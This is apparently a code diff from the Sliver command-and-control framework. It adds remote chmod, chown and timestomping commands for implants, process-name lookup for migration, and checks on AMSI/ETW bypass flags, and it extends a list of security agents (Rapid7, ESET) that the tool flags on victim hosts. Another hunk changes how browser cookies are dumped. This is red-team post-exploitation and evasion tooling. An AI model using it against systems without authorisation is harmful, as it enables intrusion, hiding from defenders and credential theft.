f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
},
|
||||
Args: func(a *grumble.Args) {
|
||||
a.String("path", "path to the file to remove")
|
||||
a.String("atime", "Last accessed time in DateTime format, i.e. 2006-01-02 15:04:05")
|
||||
a.String("mtime", "Last modified time in DateTime format, i.e. 2006-01-02 15:04:05")
|
||||
},
|
||||
Run: func(ctx *grumble.Context) error {
|
||||
con.Println()
|
||||
filesystem.ChtimesCmd(ctx, con)
|
||||
con.Println()
|
||||
return nil
|
||||
},
|
||||
HelpGroup: consts.SliverHelpGroup,
|
||||
})
|
||||
|
||||
// [ Websites ] ---------------------------------------------
|
||||
|
||||
websitesCmd := &grumble.Command{
|
||||
|
||||
@@ -66,6 +66,11 @@ func ExecuteAssemblyCmd(ctx *grumble.Context, con *console.SliverConsoleClient)
|
||||
etwBypass := ctx.Flags.Bool("etw-bypass")
|
||||
amsiBypass := ctx.Flags.Bool("amsi-bypass")
|
||||
|
||||
if !inProcess && (runtime != "" || etwBypass || amsiBypass) {
|
||||
con.PrintErrorf("The --runtime, --etw-bypass, and --amsi-bypass flags can only be used with the --in-process flag\n")
|
||||
return
|
||||
}
|
||||
|
||||
assemblyArgsStr := strings.Join(assemblyArgs, " ")
|
||||
assemblyArgsStr = strings.TrimSpace(assemblyArgsStr)
|
||||
if len(assemblyArgsStr) > 256 && !inProcess {
|
||||
|
||||
@@ -21,9 +21,11 @@ package exec
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"strings"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
@@ -34,7 +36,36 @@ func MigrateCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
return
|
||||
}
|
||||
|
||||
pid := ctx.Args.Uint("pid")
|
||||
pid := ctx.Flags.Uint("pid")
|
||||
procName := ctx.Flags.String("process-name")
|
||||
if pid == 0 && procName == "" {
|
||||
con.PrintErrorf("Error: Must specify either a PID or process name\n")
|
||||
return
|
||||
}
|
||||
if procName != "" {
|
||||
procCtrl := make(chan bool)
|
||||
con.SpinUntil(fmt.Sprintf("Searching for %s ...", procName), procCtrl)
|
||||
proc, err := con.Rpc.Ps(context.Background(), &sliverpb.PsReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintErrorf("Error: %v\n", err)
|
||||
return
|
||||
}
|
||||
procCtrl <- true
|
||||
<-procCtrl
|
||||
for _, p := range proc.GetProcesses() {
|
||||
if strings.ToLower(p.Executable) == strings.ToLower(procName) {
|
||||
pid = uint(p.Pid)
|
||||
break
|
||||
}
|
||||
}
|
||||
if pid == 0 {
|
||||
con.PrintErrorf("Error: Could not find process %s\n", procName)
|
||||
return
|
||||
}
|
||||
con.PrintInfof("Process name specified, overriding PID with %d\n", pid)
|
||||
}
|
||||
config := con.GetActiveSessionConfig()
|
||||
encoder := clientpb.ShellcodeEncoder_SHIKATA_GA_NAI
|
||||
if ctx.Flags.Bool("disable-sgn") {
|
||||
|
||||
@@ -69,10 +69,13 @@ func SSHCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
con.PrintErrorf("You must specify a keytab file with the --kerberos-keytab flag\n")
|
||||
return
|
||||
}
|
||||
kerberosKeytab, err := os.ReadFile(kerberosKeytabFile)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
kerberosKeytab := []byte{}
|
||||
if kerberosKeytabFile != "" {
|
||||
kerberosKeytab, err = os.ReadFile(kerberosKeytabFile)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
if password == "" && len(privKey) == 0 && !ctx.Flags.Bool("skip-loot") {
|
||||
|
||||
@@ -0,0 +1,84 @@
|
||||
package filesystem
|
||||
|
||||
/*
|
||||
Copyright (C) 2023 b0yd
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"google.golang.org/protobuf/proto"
|
||||
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
// ChmodCmd - Change the permissions of a file on the remote file system
|
||||
func ChmodCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session, beacon := con.ActiveTarget.GetInteractive()
|
||||
if session == nil && beacon == nil {
|
||||
return
|
||||
}
|
||||
|
||||
filePath := ctx.Args.String("path")
|
||||
|
||||
if filePath == "" {
|
||||
con.PrintErrorf("Missing parameter: file or directory name\n")
|
||||
return
|
||||
}
|
||||
|
||||
fileMode := ctx.Args.String("mode")
|
||||
|
||||
if fileMode == "" {
|
||||
con.PrintErrorf("Missing parameter: file permissions (mode)\n")
|
||||
return
|
||||
}
|
||||
|
||||
chmod, err := con.Rpc.Chmod(context.Background(), &sliverpb.ChmodReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Path: filePath,
|
||||
FileMode: fileMode,
|
||||
Recursive: ctx.Flags.Bool("recursive"),
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
if chmod.Response != nil && chmod.Response.Async {
|
||||
con.AddBeaconCallback(chmod.Response.TaskID, func(task *clientpb.BeaconTask) {
|
||||
err = proto.Unmarshal(task.Response, chmod)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to decode response %s\n", err)
|
||||
return
|
||||
}
|
||||
PrintChmod(chmod, con)
|
||||
})
|
||||
con.PrintAsyncResponse(chmod.Response)
|
||||
} else {
|
||||
PrintChmod(chmod, con)
|
||||
}
|
||||
}
|
||||
|
||||
// PrintChmod - Print the chmod response
|
||||
func PrintChmod(chmod *sliverpb.Chmod, con *console.SliverConsoleClient) {
|
||||
if chmod.Response != nil && chmod.Response.Err != "" {
|
||||
con.PrintErrorf("%s\n", chmod.Response.Err)
|
||||
return
|
||||
}
|
||||
con.PrintInfof("%s\n", chmod.Path)
|
||||
}
|
||||
@@ -0,0 +1,92 @@
|
||||
package filesystem
|
||||
|
||||
/*
|
||||
Copyright (C) 2023 b0yd
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"google.golang.org/protobuf/proto"
|
||||
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
// ChownCmd - Change the owner of a file on the remote file system
|
||||
func ChownCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session, beacon := con.ActiveTarget.GetInteractive()
|
||||
if session == nil && beacon == nil {
|
||||
return
|
||||
}
|
||||
|
||||
filePath := ctx.Args.String("path")
|
||||
|
||||
if filePath == "" {
|
||||
con.PrintErrorf("Missing parameter: file or directory name\n")
|
||||
return
|
||||
}
|
||||
|
||||
uid := ctx.Args.String("uid")
|
||||
|
||||
if uid == "" {
|
||||
con.PrintErrorf("Missing parameter: user id\n")
|
||||
return
|
||||
}
|
||||
|
||||
gid := ctx.Args.String("gid")
|
||||
|
||||
if gid == "" {
|
||||
con.PrintErrorf("Missing parameter: group id\n")
|
||||
return
|
||||
}
|
||||
|
||||
chown, err := con.Rpc.Chown(context.Background(), &sliverpb.ChownReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Path: filePath,
|
||||
Uid: uid,
|
||||
Gid: gid,
|
||||
Recursive: ctx.Flags.Bool("recursive"),
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
if chown.Response != nil && chown.Response.Async {
|
||||
con.AddBeaconCallback(chown.Response.TaskID, func(task *clientpb.BeaconTask) {
|
||||
err = proto.Unmarshal(task.Response, chown)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to decode response %s\n", err)
|
||||
return
|
||||
}
|
||||
PrintChown(chown, con)
|
||||
})
|
||||
con.PrintAsyncResponse(chown.Response)
|
||||
} else {
|
||||
PrintChown(chown, con)
|
||||
}
|
||||
}
|
||||
|
||||
// PrintChown - Print the chown response
|
||||
func PrintChown(chown *sliverpb.Chown, con *console.SliverConsoleClient) {
|
||||
if chown.Response != nil && chown.Response.Err != "" {
|
||||
con.PrintErrorf("%s\n", chown.Response.Err)
|
||||
return
|
||||
}
|
||||
con.PrintInfof("%s\n", chown.Path)
|
||||
}
|
||||
@@ -0,0 +1,107 @@
|
||||
package filesystem
|
||||
|
||||
/*
|
||||
Copyright (C) 2023 b0yd
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
"time"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"google.golang.org/protobuf/proto"
|
||||
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
// ChtimesCmd - Change the access and modified time of a file on the remote file system
|
||||
func ChtimesCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session, beacon := con.ActiveTarget.GetInteractive()
|
||||
if session == nil && beacon == nil {
|
||||
return
|
||||
}
|
||||
// DateTime layout (https://pkg.go.dev/time)
|
||||
layout := "2006-01-02 15:04:05"
|
||||
filePath := ctx.Args.String("path")
|
||||
|
||||
if filePath == "" {
|
||||
con.PrintErrorf("Missing parameter: file or directory name\n")
|
||||
return
|
||||
}
|
||||
|
||||
atime := ctx.Args.String("atime")
|
||||
|
||||
if atime == "" {
|
||||
con.PrintErrorf("Missing parameter: Last accessed time id\n")
|
||||
return
|
||||
}
|
||||
|
||||
t_a, err := time.Parse(layout, atime)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
unixAtime := t_a.Unix()
|
||||
|
||||
mtime := ctx.Args.String("mtime")
|
||||
|
||||
if mtime == "" {
|
||||
con.PrintErrorf("Missing parameter: Last modified time id\n")
|
||||
return
|
||||
}
|
||||
|
||||
t_b, err := time.Parse(layout, mtime)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
unixMtime := t_b.Unix()
|
||||
|
||||
chtimes, err := con.Rpc.Chtimes(context.Background(), &sliverpb.ChtimesReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Path: filePath,
|
||||
ATime: unixAtime,
|
||||
MTime: unixMtime,
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
if chtimes.Response != nil && chtimes.Response.Async {
|
||||
con.AddBeaconCallback(chtimes.Response.TaskID, func(task *clientpb.BeaconTask) {
|
||||
err = proto.Unmarshal(task.Response, chtimes)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to decode response %s\n", err)
|
||||
return
|
||||
}
|
||||
PrintChtimes(chtimes, con)
|
||||
})
|
||||
con.PrintAsyncResponse(chtimes.Response)
|
||||
} else {
|
||||
PrintChtimes(chtimes, con)
|
||||
}
|
||||
}
|
||||
|
||||
// PrintChtimes - Print the Chtimes response
|
||||
func PrintChtimes(chtimes *sliverpb.Chtimes, con *console.SliverConsoleClient) {
|
||||
if chtimes.Response != nil && chtimes.Response.Err != "" {
|
||||
con.PrintErrorf("%s\n", chtimes.Response.Err)
|
||||
return
|
||||
}
|
||||
con.PrintInfof("%s\n", chtimes.Path)
|
||||
}
|
||||
@@ -149,13 +149,22 @@ func PrintLs(ls *sliverpb.Ls, flags grumble.FlagMap, con *console.SliverConsoleC
|
||||
implantLocation := time.FixedZone(ls.Timezone, int(ls.TimezoneOffset))
|
||||
modTime = modTime.In(implantLocation)
|
||||
|
||||
if fileInfo.IsDir {
|
||||
fmt.Fprintf(table, "%s\t%s\t<dir>\t%s\n", fileInfo.Mode, fileInfo.Name, modTime.Format(time.RubyDate))
|
||||
} else if fileInfo.Link != "" {
|
||||
fmt.Fprintf(table, "%s\t%s -> %s\t%s\t%s\n", fileInfo.Mode, fileInfo.Name, fileInfo.Link, util.ByteCountBinary(fileInfo.Size), modTime.Format(time.RubyDate))
|
||||
} else {
|
||||
fmt.Fprintf(table, "%s\t%s\t%s\t%s\n", fileInfo.Mode, fileInfo.Name, util.ByteCountBinary(fileInfo.Size), modTime.Format(time.RubyDate))
|
||||
owner := ""
|
||||
if fileInfo.Uid != "" {
|
||||
owner = fileInfo.Uid
|
||||
}
|
||||
if fileInfo.Gid != "" {
|
||||
owner = owner + ":" + fileInfo.Gid + "\t"
|
||||
}
|
||||
|
||||
if fileInfo.IsDir {
|
||||
fmt.Fprintf(table, "%s\t%s%s\t<dir>\t%s\n", fileInfo.Mode, owner, fileInfo.Name, modTime.Format(time.RubyDate))
|
||||
} else if fileInfo.Link != "" {
|
||||
fmt.Fprintf(table, "%s\t%s%s -> %s\t%s\t%s\n", fileInfo.Mode, owner, fileInfo.Name, fileInfo.Link, util.ByteCountBinary(fileInfo.Size), modTime.Format(time.RubyDate))
|
||||
} else {
|
||||
fmt.Fprintf(table, "%s\t%s%s\t%s\t%s\n", fileInfo.Mode, owner, fileInfo.Name, util.ByteCountBinary(fileInfo.Size), modTime.Format(time.RubyDate))
|
||||
}
|
||||
|
||||
}
|
||||
table.Flush()
|
||||
con.Printf("%s\n", outputBuf.String())
|
||||
|
||||
@@ -106,7 +106,7 @@ func GenerateStagerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
<-ctrl
|
||||
|
||||
if err != nil {
|
||||
con.PrintErrorf("Error: %v", err)
|
||||
con.PrintErrorf("Error: %v - Please make sure Metasploit framework >= v6.2 is installed and msfvenom/msfconsole are in your PATH", err)
|
||||
return
|
||||
}
|
||||
|
||||
|
||||
@@ -272,6 +272,7 @@ func parseCompileFlags(ctx *grumble.Context, con *console.SliverConsoleClient) *
|
||||
limitDatetime := ctx.Flags.String("limit-datetime")
|
||||
limitFileExists := ctx.Flags.String("limit-fileexists")
|
||||
limitLocale := ctx.Flags.String("limit-locale")
|
||||
debugFile := ctx.Flags.String("debug-file")
|
||||
|
||||
isSharedLib := false
|
||||
isService := false
|
||||
@@ -369,6 +370,8 @@ func parseCompileFlags(ctx *grumble.Context, con *console.SliverConsoleClient) *
|
||||
IsShellcode: isShellcode,
|
||||
|
||||
RunAtLoad: runAtLoad,
|
||||
|
||||
DebugFile: debugFile,
|
||||
}
|
||||
|
||||
return config
|
||||
@@ -488,10 +491,9 @@ func ParseHTTPc2(args string) ([]*clientpb.ImplantC2, error) {
|
||||
return c2s, nil
|
||||
}
|
||||
for index, arg := range strings.Split(args, ",") {
|
||||
arg = strings.ToLower(arg)
|
||||
var uri *url.URL
|
||||
var err error
|
||||
if strings.HasPrefix(arg, "http://") || strings.HasPrefix(arg, "https://") {
|
||||
if cmp := strings.ToLower(arg); strings.HasPrefix(cmp, "http://") || strings.HasPrefix(cmp, "https://") {
|
||||
uri, err = url.Parse(arg)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
|
||||
@@ -17,7 +17,7 @@ func GetSliverBinary(profile *clientpb.ImplantProfile, con *console.SliverConsol
|
||||
return data, err
|
||||
}
|
||||
|
||||
implantName := buildImplantName(profile.GetConfig().GetName())
|
||||
implantName := buildImplantName(profile.GetConfig().GetFileName())
|
||||
_, ok := builds.GetConfigs()[implantName]
|
||||
if implantName == "" || !ok {
|
||||
// no built implant found for profile, generate a new one
|
||||
@@ -35,7 +35,7 @@ func GetSliverBinary(profile *clientpb.ImplantProfile, con *console.SliverConsol
|
||||
return data, err
|
||||
}
|
||||
data = generated.GetFile().GetData()
|
||||
profile.Config.Name = buildImplantName(generated.GetFile().GetName())
|
||||
profile.Config.FileName = generated.File.Name
|
||||
_, err = con.Rpc.SaveImplantProfile(context.Background(), profile)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Error updating implant profile\n")
|
||||
@@ -45,7 +45,7 @@ func GetSliverBinary(profile *clientpb.ImplantProfile, con *console.SliverConsol
|
||||
// Found a build, reuse that one
|
||||
con.PrintInfof("Sliver name for profile: %s\n", implantName)
|
||||
regenerate, err := con.Rpc.Regenerate(context.Background(), &clientpb.RegenerateReq{
|
||||
ImplantName: profile.GetConfig().GetName(),
|
||||
ImplantName: implantName,
|
||||
})
|
||||
|
||||
if err != nil {
|
||||
|
||||
@@ -43,6 +43,14 @@ func InfoCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
if idArg != "" {
|
||||
// ID passed via argument takes priority
|
||||
session, beacon, err = use.SessionOrBeaconByID(idArg, con)
|
||||
} else if session != nil || beacon != nil {
|
||||
var currID = ""
|
||||
if session != nil {
|
||||
currID = session.ID
|
||||
} else {
|
||||
currID = beacon.ID
|
||||
}
|
||||
session, beacon, err = use.SessionOrBeaconByID(currID, con)
|
||||
} else {
|
||||
if session == nil && beacon == nil {
|
||||
session, beacon, err = use.SelectSessionOrBeacon(con)
|
||||
|
||||
@@ -80,6 +80,11 @@ var (
|
||||
"TaniumClient.exe": {console.Red, "Tanium"}, // Tanium
|
||||
"TaniumCX.exe": {console.Red, "Tanium"}, // Tanium
|
||||
"TaniumDetectEngine.exe": {console.Red, "Tanium"}, // Tanium
|
||||
"collector.exe": {console.Red, "Rapid 7 Collector"}, // Rapid 7 Insight Platform Collector
|
||||
"ir_agent.exe": {console.Red, "Rapid 7 Insight Agent"}, // Rapid 7 Insight Agent
|
||||
"eguiproxy.exe": {console.Red, "ESET Security"}, // ESET Internet Security
|
||||
"ekrn.exe": {console.Red, "ESET Security"}, // ESET Internet Security
|
||||
"efwd.exe": {console.Red, "ESET Security"}, // ESET Internet Security
|
||||
}
|
||||
)
|
||||
|
||||
|
||||
@@ -89,7 +89,7 @@ func InteractiveCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
c2s = append(c2s, tcpPivotC2...)
|
||||
|
||||
// No flags, parse the current beacon's ActiveC2 instead
|
||||
if len(mtlsC2) == 0 && len(wgC2) == 0 && len(httpC2) == 0 && len(dnsC2) == 0 && len(namedPipeC2) == 0 && len(tcpPivotC2) == 0 {
|
||||
if len(c2s) == 0 {
|
||||
con.PrintInfof("Using beacon's active C2 endpoint: %s\n", beacon.ActiveC2)
|
||||
c2url, err := url.Parse(beacon.ActiveC2)
|
||||
if err != nil {
|
||||
|
||||
@@ -424,6 +424,33 @@ func renderTaskResponse(task *clientpb.BeaconTask, con *console.SliverConsoleCli
|
||||
}
|
||||
filesystem.PrintUpload(upload, con)
|
||||
|
||||
case sliverpb.MsgChmodReq:
|
||||
chmod := &sliverpb.Chmod{}
|
||||
err := proto.Unmarshal(task.Response, chmod)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to decode task response: %s\n", err)
|
||||
return
|
||||
}
|
||||
filesystem.PrintChmod(chmod, con)
|
||||
|
||||
case sliverpb.MsgChownReq:
|
||||
chown := &sliverpb.Chown{}
|
||||
err := proto.Unmarshal(task.Response, chown)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to decode task response: %s\n", err)
|
||||
return
|
||||
}
|
||||
filesystem.PrintChown(chown, con)
|
||||
|
||||
case sliverpb.MsgChtimesReq:
|
||||
chtimes := &sliverpb.Chtimes{}
|
||||
err := proto.Unmarshal(task.Response, chtimes)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to decode task response: %s\n", err)
|
||||
return
|
||||
}
|
||||
filesystem.PrintChtimes(chtimes, con)
|
||||
|
||||
// ---------------------
|
||||
// Network commands
|
||||
// ---------------------
|
||||
|
||||
@@ -361,12 +361,12 @@ func (con *SliverConsoleClient) triggerBeaconTaskCallback(data []byte) {
|
||||
if beacon != nil {
|
||||
con.PrintEventSuccessf("%s completed task %s", beacon.Name, strings.Split(task.ID, "-")[0])
|
||||
}
|
||||
task, err = con.Rpc.GetBeaconTaskContent(ctx, &clientpb.BeaconTask{
|
||||
task_content, err := con.Rpc.GetBeaconTaskContent(ctx, &clientpb.BeaconTask{
|
||||
ID: task.ID,
|
||||
})
|
||||
con.Printf(Clearln + "\r")
|
||||
if err == nil {
|
||||
callback(task)
|
||||
callback(task_content)
|
||||
} else {
|
||||
con.PrintErrorf("Could not get beacon task content: %s\n", err)
|
||||
}
|
||||
|
||||
@@ -187,6 +187,9 @@ const (
|
||||
UploadStr = "upload"
|
||||
IfconfigStr = "ifconfig"
|
||||
NetstatStr = "netstat"
|
||||
ChmodStr = "chmod"
|
||||
ChownStr = "chown"
|
||||
ChtimesStr = "chtimes"
|
||||
|
||||
ProcdumpStr = "procdump"
|
||||
ImpersonateStr = "impersonate"
|
||||
|
||||
@@ -32,6 +32,7 @@ import (
|
||||
"github.com/chromedp/cdproto/cdp"
|
||||
"github.com/chromedp/cdproto/network"
|
||||
"github.com/chromedp/cdproto/page"
|
||||
"github.com/chromedp/cdproto/storage"
|
||||
"github.com/chromedp/cdproto/target"
|
||||
"github.com/chromedp/chromedp"
|
||||
)
|
||||
@@ -275,7 +276,7 @@ func DumpCookies(curse *core.CursedProcess, webSocketURL string) ([]*network.Coo
|
||||
dumpCookieTasks := chromedp.Tasks{
|
||||
// read network values
|
||||
chromedp.ActionFunc(func(ctx context.Context) error {
|
||||
cookies, err = network.GetCookies().Do(ctx)
|
||||
cookies, err = storage.GetCookies().Do(ctx)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
+2
-2
@@ -14,7 +14,7 @@ GEM
|
||||
execjs
|
||||
coffee-script-source (1.11.1)
|
||||
colorator (1.1.0)
|
||||
commonmarker (0.23.8)
|
||||
commonmarker (0.23.9)
|
||||
concurrent-ruby (1.2.0)
|
||||
dnsruby (1.61.9)
|
||||
simpleidn (~> 0.1)
|
||||
@@ -212,7 +212,7 @@ GEM
|
||||
jekyll-feed (~> 0.9)
|
||||
jekyll-seo-tag (~> 2.1)
|
||||
minitest (5.17.0)
|
||||
nokogiri (1.14.1)
|
||||
nokogiri (1.14.3)
|
||||
mini_portile2 (~> 2.8.0)
|
||||
racc (~> 1.4)
|
||||
octokit (4.25.1)
|
||||
|
||||
+4
-3
@@ -10,13 +10,13 @@ fi
|
||||
|
||||
if [ -n "$(command -v yum)" ]
|
||||
then
|
||||
yum -y install gnupg curl gcc gcc-c++ make mingw64-gcc
|
||||
yum -y install gnupg curl gcc gcc-c++ make mingw64-gcc git
|
||||
fi
|
||||
|
||||
if [ -n "$(command -v apt-get)" ]
|
||||
then
|
||||
DEBIAN_FRONTEND=noninteractive apt-get install -yqq \
|
||||
gpg curl build-essential \
|
||||
gpg curl build-essential git \
|
||||
mingw-w64 binutils-mingw-w64 g++-mingw-w64
|
||||
fi
|
||||
|
||||
@@ -130,7 +130,8 @@ fi
|
||||
|
||||
if test -f "/root/$SLIVER_CLIENT"; then
|
||||
chmod 755 /root/$SLIVER_CLIENT
|
||||
cp -vv /root/$SLIVER_CLIENT /usr/local/bin/sliver
|
||||
cp -vv /root/$SLIVER_CLIENT /usr/local/bin/sliver-client
|
||||
ln -s /usr/local/bin/sliver-client /usr/local/bin/sliver
|
||||
chmod 755 /usr/local/bin/sliver
|
||||
else
|
||||
exit 3
|
||||
|
||||
+2
-2
@@ -20,8 +20,8 @@ set -e
|
||||
|
||||
# Creates the static go asset archives
|
||||
|
||||
GO_VER="1.20.1"
|
||||
GARBLE_VER="1.20.2"
|
||||
GO_VER="1.20.4"
|
||||
GARBLE_VER="1.20.4"
|
||||
SGN_VER="0.0.3"
|
||||
|
||||
GO_ARCH_1="amd64"
|
||||
|
||||
@@ -12,48 +12,48 @@ require (
|
||||
github.com/Binject/universal v0.0.0-20210304094126-daefaa886313
|
||||
github.com/Ne0nd0g/go-clr v1.0.3
|
||||
github.com/alecthomas/chroma v0.10.0
|
||||
github.com/cheggaaa/pb/v3 v3.1.0
|
||||
github.com/chromedp/cdproto v0.0.0-20230109101555-6b041c6303cc
|
||||
github.com/chromedp/chromedp v0.8.7
|
||||
github.com/cheggaaa/pb/v3 v3.1.2
|
||||
github.com/chromedp/cdproto v0.0.0-20230220211738-2b1ec77315c9
|
||||
github.com/chromedp/chromedp v0.9.1
|
||||
github.com/desertbit/columnize v2.1.0+incompatible
|
||||
github.com/desertbit/go-shlex v0.1.1
|
||||
github.com/desertbit/grumble v1.1.1
|
||||
github.com/desertbit/readline v1.5.1
|
||||
github.com/fatih/color v1.14.1
|
||||
github.com/fatih/color v1.15.0
|
||||
github.com/gofrs/uuid v4.4.0+incompatible
|
||||
github.com/google/uuid v1.3.0
|
||||
github.com/gorilla/mux v1.8.0
|
||||
github.com/grpc-ecosystem/go-grpc-middleware v1.3.0
|
||||
github.com/jedib0t/go-pretty/v6 v6.4.4
|
||||
github.com/grpc-ecosystem/go-grpc-middleware v1.4.0
|
||||
github.com/jedib0t/go-pretty/v6 v6.4.6
|
||||
github.com/kbinani/screenshot v0.0.0-20191211154542-3a185f1ce18f
|
||||
github.com/lesnuages/go-winio v0.4.19
|
||||
github.com/lesnuages/snitch v0.6.0
|
||||
github.com/mattn/go-sqlite3 v1.14.16
|
||||
github.com/miekg/dns v1.1.51
|
||||
github.com/miekg/dns v1.1.54
|
||||
github.com/moloch--/memmod v0.0.0-20211120144554-8b37cc654945
|
||||
github.com/pquerna/otp v1.4.0
|
||||
github.com/sirupsen/logrus v1.9.0
|
||||
github.com/spf13/cobra v1.6.1
|
||||
github.com/spf13/cobra v1.7.0
|
||||
github.com/stretchr/testify v1.8.1
|
||||
github.com/things-go/go-socks5 v0.0.3
|
||||
github.com/xlab/treeprint v1.1.0
|
||||
github.com/xlab/treeprint v1.2.0
|
||||
github.com/yiya1989/sshkrb5 v0.0.0-20201110125252-a1455b75a35e
|
||||
golang.org/x/crypto v0.6.0
|
||||
golang.org/x/net v0.7.0
|
||||
golang.org/x/sys v0.5.0
|
||||
golang.org/x/term v0.5.0
|
||||
golang.org/x/text v0.7.0
|
||||
golang.org/x/crypto v0.9.0
|
||||
golang.org/x/net v0.10.0
|
||||
golang.org/x/sys v0.8.0
|
||||
golang.org/x/term v0.8.0
|
||||
golang.org/x/text v0.9.0
|
||||
golang.zx2c4.com/wireguard v0.0.0-20220316235147-5aff28b14c24
|
||||
golang.zx2c4.com/wireguard/wgctrl v0.0.0-20220208144051-fde48d68ee68
|
||||
google.golang.org/grpc v1.53.0
|
||||
google.golang.org/protobuf v1.28.1
|
||||
google.golang.org/grpc v1.55.0
|
||||
google.golang.org/protobuf v1.30.0
|
||||
gopkg.in/AlecAivazis/survey.v1 v1.8.8
|
||||
gorm.io/driver/mysql v1.4.7
|
||||
gorm.io/driver/postgres v1.4.8
|
||||
gorm.io/driver/sqlite v1.4.4
|
||||
gorm.io/gorm v1.24.5
|
||||
gorm.io/driver/mysql v1.5.0
|
||||
gorm.io/driver/postgres v1.5.0
|
||||
gorm.io/driver/sqlite v1.5.0
|
||||
gorm.io/gorm v1.25.0
|
||||
gvisor.dev/gvisor v0.0.0-20220817001344-846276b3dbc5
|
||||
modernc.org/sqlite v1.21.0
|
||||
modernc.org/sqlite v1.22.1
|
||||
)
|
||||
|
||||
require (
|
||||
@@ -61,7 +61,7 @@ require (
|
||||
github.com/BurntSushi/xgb v0.0.0-20201008132610-5f9e7b3c49cd // indirect
|
||||
github.com/Microsoft/go-winio v0.5.1 // indirect
|
||||
github.com/VirusTotal/vt-go v0.0.0-20210528074736-45bbe34cc8ab // indirect
|
||||
github.com/VividCortex/ewma v1.1.1 // indirect
|
||||
github.com/VividCortex/ewma v1.2.0 // indirect
|
||||
github.com/awgh/cppgo v0.0.0-20210224085512-3d24bca8edc0 // indirect
|
||||
github.com/awgh/rawreader v0.0.0-20200626064944-56820a9c6da4 // indirect
|
||||
github.com/boombuler/barcode v1.0.1-0.20190219062509-6c824513bacc // indirect
|
||||
